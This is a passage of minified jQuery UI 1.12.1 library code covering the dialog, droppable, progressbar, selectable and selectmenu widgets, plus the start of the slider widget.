ui-front"),this._on(this.uiDialog,{keydown:function(e){if(this.options.closeOnEscape&&!e.isDefaultPrevented()&&e.keyCode&&e.keyCode===t.ui.keyCode.ESCAPE)return e.preventDefault(),this.close(e),void 0;if(e.keyCode===t.ui.keyCode.TAB&&!e.isDefaultPrevented()){var i=this.uiDialog.find(":tabbable"),s=i.filter(":first"),n=i.filter(":last");e.target!==n[0]&&e.target!==this.uiDialog[0]||e.shiftKey?e.target!==s[0]&&e.target!==this.uiDialog[0]||!e.shiftKey||(this._delay(function(){n.trigger("focus")}),e.preventDefault()):(this._delay(function(){s.trigger("focus")}),e.preventDefault())}},mousedown:function(t){this._moveToTop(t)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var e;this.uiDialogTitlebar=t("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(e){t(e.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=t("<button type='button'></button>").button({label:t("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(t){t.preventDefault(),this.close(t)}}),e=t("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(e,"ui-dialog-title"),this._title(e),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":e.attr("id")})},_title:function(t){this.options.title?t.text(this.options.title):t.html("&#160;")},_createButtonPane:function(){this.uiDialogButtonPane=t("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=t("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var e=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),t.isEmptyObject(i)||t.isArray(i)&&!i.length?(this._removeClass(this.uiDialog,"ui-dialog-buttons"),void 0):(t.each(i,function(i,s){var n,o;s=t.isFunction(s)?{click:s,text:i}:s,s=t.extend({type:"button"},s),n=s.click,o={icon:s.icon,iconPosition:s.iconPosition,showLabel:s.showLabel,icons:s.icons,text:s.text},delete s.click,delete s.icon,delete s.iconPosition,delete s.showLabel,delete s.icons,"boolean"==typeof s.text&&delete s.text,t("<button></button>",s).button(o).appendTo(e.uiButtonSet).on("click",function(){n.apply(e.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog),void 0)},_makeDraggable:function(){function e(t){return{position:t.position,offset:t.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(s,n){i._addClass(t(this),"ui-dialog-dragging"),i._blockFrames(),i._trigger("dragStart",s,e(n))},drag:function(t,s){i._trigger("drag",t,e(s))},stop:function(n,o){var a=o.offset.left-i.document.scrollLeft(),r=o.offset.top-i.document.scrollTop();s.position={my:"left top",at:"left"+(a>=0?"+":"")+a+" "+"top"+(r>=0?"+":"")+r,of:i.window},i._removeClass(t(this),"ui-dialog-dragging"),i._unblockFrames(),i._trigger("dragStop",n,e(o))}})},_makeResizable:function(){function e(t){return{originalPosition:t.originalPosition,originalSize:t.originalSize,position:t.position,size:t.size}}var i=this,s=this.options,n=s.resizable,o=this.uiDialog.css("position"),a="string"==typeof n?n:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:a,start:function(s,n){i._addClass(t(this),"ui-dialog-resizing"),i._blockFrames(),i._trigger("resizeStart",s,e(n))},resize:function(t,s){i._trigger("resize",t,e(s))},stop:function(n,o){var a=i.uiDialog.offset(),r=a.left-i.document.scrollLeft(),h=a.top-i.document.scrollTop();s.height=i.uiDialog.height(),s.width=i.uiDialog.width(),s.position={my:"left top",at:"left"+(r>=0?"+":"")+r+" "+"top"+(h>=0?"+":"")+h,of:i.window},i._removeClass(t(this),"ui-dialog-resizing"),i._unblockFrames(),i._trigger("resizeStop",n,e(o))}}).css("position",o)},_trackFocus:function(){this._on(this.widget(),{focusin:function(e){this._makeFocusTarget(),this._focusedElement=t(e.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var e=this._trackingInstances(),i=t.inArray(this,e);-1!==i&&e.splice(i,1)},_trackingInstances:function(){var t=this.document.data("ui-dialog-instances");return t||(t=[],this.document.data("ui-dialog-instances",t)),t},_minHeight:function(){var t=this.options;return"auto"===t.height?t.minHeight:Math.min(t.minHeight,t.height)},_position:function(){var t=this.uiDialog.is(":visible");t||this.uiDialog.show(),this.uiDialog.position(this.options.position),t||this.uiDialog.hide()},_setOptions:function(e){var i=this,s=!1,n={};t.each(e,function(t,e){i._setOption(t,e),t in i.sizeRelatedOptions&&(s=!0),t in i.resizableRelatedOptions&&(n[t]=e)}),s&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",n)},_setOption:function(e,i){var s,n,o=this.uiDialog;"disabled"!==e&&(this._super(e,i),"appendTo"===e&&this.uiDialog.appendTo(this._appendTo()),"buttons"===e&&this._createButtons(),"closeText"===e&&this.uiDialogTitlebarClose.button({label:t("<a>").text(""+this.options.closeText).html()}),"draggable"===e&&(s=o.is(":data(ui-draggable)"),s&&!i&&o.draggable("destroy"),!s&&i&&this._makeDraggable()),"position"===e&&this._position(),"resizable"===e&&(n=o.is(":data(ui-resizable)"),n&&!i&&o.resizable("destroy"),n&&"string"==typeof i&&o.resizable("option","handles",i),n||i===!1||this._makeResizable()),"title"===e&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,e,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),t=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),e=Math.max(0,s.minHeight-t),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-t):"none","auto"===s.height?this.element.css({minHeight:e,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-t)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var e=t(this);return t("<div>").css({position:"absolute",width:e.outerWidth(),height:e.outerHeight()}).appendTo(e.parent()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(e){return t(e.target).closest(".ui-dialog").length?!0:!!t(e.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var e=!0;this._delay(function(){e=!1}),this.document.data("ui-dialog-overlays")||this._on(this.document,{focusin:function(t){e||this._allowInteraction(t)||(t.preventDefault(),this._trackingInstances()[0]._focusTabbable())}}),this.overlay=t("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1)}},_destroyOverlay:function(){if(this.options.modal&&this.overlay){var t=this.document.data("ui-dialog-overlays")-1;t?this.document.data("ui-dialog-overlays",t):(this._off(this.document,"focusin"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null}}}),t.uiBackCompat!==!1&&t.widget("ui.dialog",t.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(t,e){"dialogClass"===t&&this.uiDialog.removeClass(this.options.dialogClass).addClass(e),this._superApply(arguments)}}),t.ui.dialog,t.widget("ui.droppable",{version:"1.12.1",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=t.isFunction(s)?s:function(t){return t.is(s)},this.proportions=function(){return arguments.length?(e=arguments[0],void 0):e?e:e={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this._addClass("ui-droppable")},_addToManager:function(e){t.ui.ddmanager.droppables[e]=t.ui.ddmanager.droppables[e]||[],t.ui.ddmanager.droppables[e].push(this)},_splice:function(t){for(var e=0;t.length>e;e++)t[e]===this&&t.splice(e,1)},_destroy:function(){var e=t.ui.ddmanager.droppables[this.options.scope];this._splice(e)},_setOption:function(e,i){if("accept"===e)this.accept=t.isFunction(i)?i:function(t){return t.is(i)};else if("scope"===e){var s=t.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(e,i)},_activate:function(e){var i=t.ui.ddmanager.current;this._addActiveClass(),i&&this._trigger("activate",e,this.ui(i))},_deactivate:function(e){var i=t.ui.ddmanager.current;this._removeActiveClass(),i&&this._trigger("deactivate",e,this.ui(i))},_over:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._addHoverClass(),this._trigger("over",e,this.ui(i)))},_out:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeHoverClass(),this._trigger("out",e,this.ui(i)))},_drop:function(e,i){var s=i||t.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=t(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&v(s,t.extend(i,{offset:i.element.offset()}),i.options.tolerance,e)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",e,this.ui(s)),this.element):!1):!1},ui:function(t){return{draggable:t.currentItem||t.element,helper:t.helper,position:t.position,offset:t.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}});var v=t.ui.intersect=function(){function t(t,e,i){return t>=e&&e+i>t}return function(e,i,s,n){if(!i.offset)return!1;var o=(e.positionAbs||e.position.absolute).left+e.margins.left,a=(e.positionAbs||e.position.absolute).top+e.margins.top,r=o+e.helperProportions.width,h=a+e.helperProportions.height,l=i.offset.left,c=i.offset.top,u=l+i.proportions().width,d=c+i.proportions().height;switch(s){case"fit":return o>=l&&u>=r&&a>=c&&d>=h;case"intersect":return o+e.helperProportions.width/2>l&&u>r-e.helperProportions.width/2&&a+e.helperProportions.height/2>c&&d>h-e.helperProportions.height/2;case"pointer":return t(n.pageY,c,i.proportions().height)&&t(n.pageX,l,i.proportions().width);case"touch":return(a>=c&&d>=a||h>=c&&d>=h||c>a&&h>d)&&(o>=l&&u>=o||r>=l&&u>=r||l>o&&r>u);default:return!1}}}();t.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,i){var s,n,o=t.ui.ddmanager.droppables[e.options.scope]||[],a=i?i.type:null,r=(e.currentItem||e.element).find(":data(ui-droppable)").addBack();t:for(s=0;o.length>s;s++)if(!(o[s].options.disabled||e&&!o[s].accept.call(o[s].element[0],e.currentItem||e.element))){for(n=0;r.length>n;n++)if(r[n]===o[s].element[0]){o[s].proportions().height=0;continue t}o[s].visible="none"!==o[s].element.css("display"),o[s].visible&&("mousedown"===a&&o[s]._activate.call(o[s],i),o[s].offset=o[s].element.offset(),o[s].proportions({width:o[s].element[0].offsetWidth,height:o[s].element[0].offsetHeight}))}},drop:function(e,i){var s=!1;return t.each((t.ui.ddmanager.droppables[e.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&v(e,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(e,i){e.element.parentsUntil("body").on("scroll.droppable",function(){e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)})},drag:function(e,i){e.options.refreshPositions&&t.ui.ddmanager.prepareOffsets(e,i),t.each(t.ui.ddmanager.droppables[e.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,o,a=v(e,this,this.options.tolerance,i),r=!a&&this.isover?"isout":a&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,o=this.element.parents(":data(ui-droppable)").filter(function(){return t(this).droppable("instance").options.scope===n}),o.length&&(s=t(o[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(e,i){e.element.parentsUntil("body").off("scroll.droppable"),e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)}},t.uiBackCompat!==!1&&t.widget("ui.droppable",t.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}}),t.ui.droppable,t.widget("ui.progressbar",{version:"1.12.1",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=t("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(t){return void 0===t?this.options.value:(this.options.value=this._constrainedValue(t),this._refreshValue(),void 0)},_constrainedValue:function(t){return void 0===t&&(t=this.options.value),this.indeterminate=t===!1,"number"!=typeof t&&(t=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,t))},_setOptions:function(t){var e=t.value;delete t.value,this._super(t),this.options.value=this._constrainedValue(e),this._refreshValue()},_setOption:function(t,e){"max"===t&&(e=Math.max(this.min,e)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var e=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||e>this.min).width(i.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,e===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=t("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":e}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==e&&(this.oldValue=e,this._trigger("change")),e===this.options.max&&this._trigger("complete")}}),t.widget("ui.selectable",t.ui.mouse,{version:"1.12.1",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var e=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){e.elementPos=t(e.element[0]).offset(),e.selectees=t(e.options.filter,e.element[0]),e._addClass(e.selectees,"ui-selectee"),e.selectees.each(function(){var i=t(this),s=i.offset(),n={left:s.left-e.elementPos.left,top:s.top-e.elementPos.top};t.data(this,"selectable-item",{element:this,$element:i,left:n.left,top:n.top,right:n.left+i.outerWidth(),bottom:n.top+i.outerHeight(),startselected:!1,selected:i.hasClass("ui-selected"),selecting:i.hasClass("ui-selecting"),unselecting:i.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=t("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(e){var i=this,s=this.options;this.opos=[e.pageX,e.pageY],this.elementPos=t(this.element[0]).offset(),this.options.disabled||(this.selectees=t(s.filter,this.element[0]),this._trigger("start",e),t(s.appendTo).append(this.helper),this.helper.css({left:e.pageX,top:e.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=t.data(this,"selectable-item");s.startselected=!0,e.metaKey||e.ctrlKey||(i._removeClass(s.$element,"ui-selected"),s.selected=!1,i._addClass(s.$element,"ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",e,{unselecting:s.element}))}),t(e.target).parents().addBack().each(function(){var s,n=t.data(this,"selectable-item");return n?(s=!e.metaKey&&!e.ctrlKey||!n.$element.hasClass("ui-selected"),i._removeClass(n.$element,s?"ui-unselecting":"ui-selected")._addClass(n.$element,s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",e,{selecting:n.element}):i._trigger("unselecting",e,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(e){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,o=this.opos[0],a=this.opos[1],r=e.pageX,h=e.pageY;return o>r&&(i=r,r=o,o=i),a>h&&(i=h,h=a,a=i),this.helper.css({left:o,top:a,width:r-o,height:h-a}),this.selectees.each(function(){var i=t.data(this,"selectable-item"),l=!1,c={};i&&i.element!==s.element[0]&&(c.left=i.left+s.elementPos.left,c.right=i.right+s.elementPos.left,c.top=i.top+s.elementPos.top,c.bottom=i.bottom+s.elementPos.top,"touch"===n.tolerance?l=!(c.left>r||o>c.right||c.top>h||a>c.bottom):"fit"===n.tolerance&&(l=c.left>o&&r>c.right&&c.top>a&&h>c.bottom),l?(i.selected&&(s._removeClass(i.$element,"ui-selected"),i.selected=!1),i.unselecting&&(s._removeClass(i.$element,"ui-unselecting"),i.unselecting=!1),i.selecting||(s._addClass(i.$element,"ui-selecting"),i.selecting=!0,s._trigger("selecting",e,{selecting:i.element}))):(i.selecting&&((e.metaKey||e.ctrlKey)&&i.startselected?(s._removeClass(i.$element,"ui-selecting"),i.selecting=!1,s._addClass(i.$element,"ui-selected"),i.selected=!0):(s._removeClass(i.$element,"ui-selecting"),i.selecting=!1,i.startselected&&(s._addClass(i.$element,"ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",e,{unselecting:i.element}))),i.selected&&(e.metaKey||e.ctrlKey||i.startselected||(s._removeClass(i.$element,"ui-selected"),i.selected=!1,s._addClass(i.$element,"ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",e,{unselecting:i.element})))))}),!1}},_mouseStop:function(e){var i=this;return this.dragged=!1,t(".ui-unselecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");i._removeClass(s.$element,"ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",e,{unselected:s.element})}),t(".ui-selecting",this.element[0]).each(function(){var s=t.data(this,"selectable-item");i._removeClass(s.$element,"ui-selecting")._addClass(s.$element,"ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",e,{selected:s.element})}),this._trigger("stop",e),this.helper.remove(),!1}}),t.widget("ui.selectmenu",[t.ui.formResetMixin,{version:"1.12.1",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr("id");this.ids={element:e,button:e+"-button",menu:e+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=t()},_drawButton:function(){var e,i=this,s=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(t){this.button.focus(),t.preventDefault()}}),this.element.hide(),this.button=t("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),e=t("<span>").appendTo(this.button),this._addClass(e,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(s).appendTo(this.button),this.options.width!==!1&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){i._rendered||i._refreshMenu()})},_drawMenu:function(){var e=this;this.menu=t("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=t("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(t,i){t.preventDefault(),e._setSelection(),e._select(i.item.data("ui-selectmenu-item"),t)},focus:function(t,i){var s=i.item.data("ui-selectmenu-item");null!=e.focusIndex&&s.index!==e.focusIndex&&(e._trigger("focus",t,{item:s}),e.isOpen||e._select(s,t)),e.focusIndex=s.index,e.button.attr("aria-activedescendant",e.menuItems.eq(s.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var t,e=this.element.find("option");this.menu.empty(),this._parseOptions(e),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,e.length&&(t=this._getSelectedItem(),this.menuInstance.focus(null,t),this._setAria(t.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(t){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",t)))},_position:function(){this.menuWrap.position(t.extend({of:this.button},this.options.position))},close:function(t){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",t))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(e){var i=t("<span>");return this._setText(i,e.label),this._addClass(i,"ui-selectmenu-text"),i},_renderMenu:function(e,i){var s=this,n="";t.each(i,function(i,o){var a;o.optgroup!==n&&(a=t("<li>",{text:o.optgroup}),s._addClass(a,"ui-selectmenu-optgroup","ui-menu-divider"+(o.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),a.appendTo(e),n=o.optgroup),s._renderItemData(e,o)})},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-selectmenu-item",e)},_renderItem:function(e,i){var s=t("<li>"),n=t("<div>",{title:i.element.attr("title")});return i.disabled&&this._addClass(s,null,"ui-state-disabled"),this._setText(n,i.label),s.append(n).appendTo(e)},_setText:function(t,e){e?t.text(e):t.html("&#160;")},_move:function(t,e){var i,s,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),n+=":not(.ui-state-disabled)"),s="first"===t||"last"===t?i["first"===t?"prevAll":"nextAll"](n).eq(-1):i[t+"All"](n).eq(0),s.length&&this.menuInstance.focus(e,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(t){this[this.isOpen?"close":"open"](t)},_setSelection:function(){var t;this.range&&(window.getSelection?(t=window.getSelection(),t.removeAllRanges(),t.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(e){this.isOpen&&(t(e.target).closest(".ui-selectmenu-menu, #"+t.ui.escapeSelector(this.ids.button)).length||this.close(e))}},_buttonEvents:{mousedown:function(){var t;window.getSelection?(t=window.getSelection(),t.rangeCount&&(this.range=t.getRangeAt(0))):this.range=document.selection.createRange()},click:function(t){this._setSelection(),this._toggle(t)},keydown:function(e){var i=!0;switch(e.keyCode){case t.ui.keyCode.TAB:case t.ui.keyCode.ESCAPE:this.close(e),i=!1;break;case t.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(e);break;case t.ui.keyCode.UP:e.altKey?this._toggle(e):this._move("prev",e);break;case t.ui.keyCode.DOWN:e.altKey?this._toggle(e):this._move("next",e);break;case t.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(e):this._toggle(e);break;case t.ui.keyCode.LEFT:this._move("prev",e);break;case t.ui.keyCode.RIGHT:this._move("next",e);break;case t.ui.keyCode.HOME:case t.ui.keyCode.PAGE_UP:this._move("first",e);break;case t.ui.keyCode.END:case t.ui.keyCode.PAGE_DOWN:this._move("last",e);break;default:this.menu.trigger(e),i=!1}i&&e.preventDefault()}},_selectFocusedItem:function(t){var e=this.menuItems.eq(this.focusIndex).parent("li");e.hasClass("ui-state-disabled")||this._select(e.data("ui-selectmenu-item"),t)},_select:function(t,e){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=t.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(t)),this._setAria(t),this._trigger("select",e,{item:t}),t.index!==i&&this._trigger("change",e,{item:t}),this.close(e)},_setAria:function(t){var e=this.menuItems.eq(t.index).attr("id");this.button.attr({"aria-labelledby":e,"aria-activedescendant":e}),this.menu.attr("aria-activedescendant",e)},_setOption:function(t,e){if("icons"===t){var i=this.button.find("span.ui-icon");this._removeClass(i,null,this.options.icons.button)._addClass(i,null,e.button)}this._super(t,e),"appendTo"===t&&this.menuWrap.appendTo(this._appendTo()),"width"===t&&this._resizeButton()},_setOptionDisabled:function(t){this._super(t),this.menuInstance.option("disabled",t),this.button.attr("aria-disabled",t),this._toggleClass(this.button,null,"ui-state-disabled",t),this.element.prop("disabled",t),t?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var e=this.options.appendTo;return e&&(e=e.jquery||e.nodeType?t(e):this.document.find(e).eq(0)),e&&e[0]||(e=this.element.closest(".ui-front, dialog")),e.length||(e=this.document[0].body),e},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var t=this.options.width;return t===!1?(this.button.css("width",""),void 0):(null===t&&(t=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(t),void 0)},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var t=this._super();return t.disabled=this.element.prop("disabled"),t},_parseOptions:function(e){var i=this,s=[];e.each(function(e,n){s.push(i._parseOption(t(n),e))}),this.items=s},_parseOption:function(t,e){var i=t.parent("optgroup");return{element:t,index:e,value:t.val(),label:t.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||t.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}]),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1
